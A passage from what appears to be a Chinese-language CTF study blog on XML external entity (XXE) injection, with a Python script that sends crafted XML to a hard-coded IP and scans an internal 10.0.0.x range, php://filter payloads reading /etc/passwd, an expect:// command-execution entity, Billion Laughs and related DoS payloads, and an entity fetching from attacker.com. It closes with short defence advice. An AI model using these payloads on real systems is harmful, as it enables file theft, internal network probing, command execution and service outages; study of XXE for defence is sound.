        headers = {'Content-Type': 'application/xml'}
        x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php', data=xml, headers=headers, timeout=5).text
        coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
        print coded_string
    #   print base64.b64decode(coded_string)
    for i in range(1, 255):
        try:
            i = str(i)
            ip = '10.0.0.' + i
            string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
            print string
            build_xml(string)
        except:
    continue

    还有利用bp的端口遍历 和前面扫整个网段原理没大区别
    文章下面的那道题只能看的懂原理 主要记录一下
    libxml（PHP 默认 XML 解析器）的读取文件不能过大的特殊性 以及破解的方法

    1
    2
    压缩：php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd  
    解压：php://filter/read=convert.base64-decode/zlib.inflate/resource=/tmp/1

    jar:{url}!{path}

    jar 能从远程获取 jar 文件，然后将其中的内容进行解压
    jar 协议处理文件的过程：
    (1) 下载 jar/zip 文件到临时文件中
    (2) 提取出我们指定的文件
    (3) 删除临时文件
    首先对于有回显的xxe jar可以作为得到文件回显的一种方式 文章这里的 看的有些乏力 结合出的题
    大概就是Java 会把 jar.zip 完整下载 写入 本地临时目录 最后利用不存在的文件去报错得到zip的真正所在的目录

    一些特殊的xxe

    1. PHP 的 expect 并不是默认安装扩展，如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE r [
      <!ENTITY xxe SYSTEM "expect://whoami">
    ]>
    <r>&xxe;</r>

    expect://后面的就是可以直接执行的系统命令
    2. DOS攻击 这个貌似在ctf里面很难能出题（只是我的猜想 毕竟服务都打挂了….）
    不过了解到了这种基于xxe的dos攻击
    Billion Laughs（指数级爆炸）

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE lolz [
      <!ENTITY a "lol">
      <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
      <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
      <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
    ]>
    <lolz>&d;</lolz>

    Quadratic Blowup（平方级膨胀）

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE test [
      <!ENTITY x "AAAAAAAAAA">
    ]>
    <root>
      &x;&x;&x;&x;&x;&x;&x;&x;&x;&x;
      &x;&x;&x;&x;&x;&x;&x;&x;&x;&x;
    </root>

    External Entity Bomb（外部实体 DoS）

    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE root [
      <!ENTITY xxe SYSTEM "http://attacker.com/big.txt">
    ]>
    <root>&xxe;</root>

    去加载一个超大的资源
    或者是自己访问/dev/zero 永远不返回 EOF

    关于防御

    禁止回显（但是其实没啥大作用 外带情况太多了） 禁掉外部实体 这个太重要了 几乎能ban完了 貌似除了DOS 后端再加上一些黑名单的话 攻击者基本不能做什么

    看的文章是https://xz.aliyun.com/news/2994

    ]]>     http://47.109.24.42/2025/01/06/XXE/ 2025-01-06T14:00:00.000Z 什么是XXE

    XXE(XML External Entity Injection) 全称为 XML 外部实体注入 XML注]]>

    XXE 2025-01-06T14:00:00.000Z